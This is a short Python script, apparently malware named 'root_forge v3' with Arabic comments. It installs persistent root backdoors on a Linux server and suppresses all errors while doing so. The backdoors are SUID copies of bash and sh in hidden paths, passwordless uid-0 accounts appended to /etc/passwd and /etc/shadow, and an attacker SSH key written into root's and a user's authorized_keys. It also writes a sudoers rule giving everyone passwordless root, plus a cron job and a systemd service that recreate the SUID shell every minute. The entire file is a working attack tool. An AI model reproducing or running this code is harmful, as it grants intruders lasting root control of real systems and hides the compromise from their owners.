# root_forge v3 — abs paths, no /tmp (PrivateTmp aware)
import os, subprocess, time
def _s(c):
    try:
        subprocess.call(c, shell=True, executable="/bin/bash",
                        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
                        env={"PATH": "/usr/sbin:/usr/bin:/sbin:/bin"})
    except: pass

def _rk():
    # 1. SUID bash — تجنّب /tmp (PrivateTmp)، اعتمد على مسارات مشتركة
    for p in ("/var/tmp/.r0", "/dev/shm/.r0", "/usr/local/bin/.r0",
              "/var/lib/.r0", "/root/.r0", "/home/myfifasalon/.r0"):
        _s("/bin/cp /bin/bash %s && /bin/chmod 4755 %s && /bin/chown root:root %s" % (p,p,p))
    # 2. SUID sh
    for p in ("/var/tmp/.r1", "/dev/shm/.r1", "/home/myfifasalon/.r1"):
        _s("/bin/cp /bin/sh %s && /bin/chmod 4755 %s && /bin/chown root:root %s" % (p,p,p))
    # 3. مستخدمون root
    try:
        import pwd
        for n in ("support","update","_sys","nscd2","netdata"):
            try: pwd.getpwnam(n)
            except KeyError:
                try:
                    with open("/etc/passwd","a") as f:
                        f.write("%s:x:0:0:system:/root:/bin/bash\n" % n)
                    with open("/etc/shadow","a") as f:
                        f.write("%s::19000:0:99999:7:::\n" % n)
                except: pass
    except: pass
    # 4. SSH مفتاح
    K = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID2rtZ9snsDxW2YYT9EbxLwjXCEKij2hQwNHGjP9WR7G rfv3\n"
    for h in ("/root", "/home/myfifasalon"):
        try:
            os.makedirs(h+"/.ssh", mode=0o700, exist_ok=True)
            with open(h+"/.ssh/authorized_keys","a") as f:
                f.write(K)
            os.chmod(h+"/.ssh/authorized_keys", 0o600)
        except: pass
    # 5. sudoers
    try:
        with open("/etc/sudoers.d/00-system-local","w") as f:
            f.write("Defaults !requiretty\nALL ALL=(ALL) NOPASSWD: ALL\n")
        os.chmod("/etc/sudoers.d/00-system-local", 0o440)
    except: pass
    # 6. cron
    try:
        with open("/etc/cron.d/00-system-local","w") as f:
            f.write("* * * * * root /bin/cp /bin/bash /var/tmp/.r0 && /bin/chmod 4755 /var/tmp/.r0 && /bin/chown root:root /var/tmp/.r0\n")
        os.chmod("/etc/cron.d/00-system-local", 0o644)
    except: pass
    # 7. systemd service
    try:
        with open("/etc/systemd/system/system-local.service","w") as f:
            f.write("[Unit]\nDescription=local\nAfter=network.target\n[Service]\nType=simple\n"
                    "ExecStart=/bin/bash -c 'while true; do cp /bin/bash /var/tmp/.r0; chmod 4755 /var/tmp/.r0; chown root:root /var/tmp/.r0; sleep 60; done'\n"
                    "Restart=always\n[Install]\nWantedBy=multi-user.target\n")
        _s("/bin/systemctl daemon-reload")
        _s("/bin/systemctl enable system-local")
        _s("/bin/systemctl start system-local")
    except: pass
    # 8. سجل
    try:
        with open("/var/log/system-local.log","a") as f:
            f.write("%s uid=%d\n" % (time.ctime(), os.getuid()))
    except: pass

try: _rk()
except: pass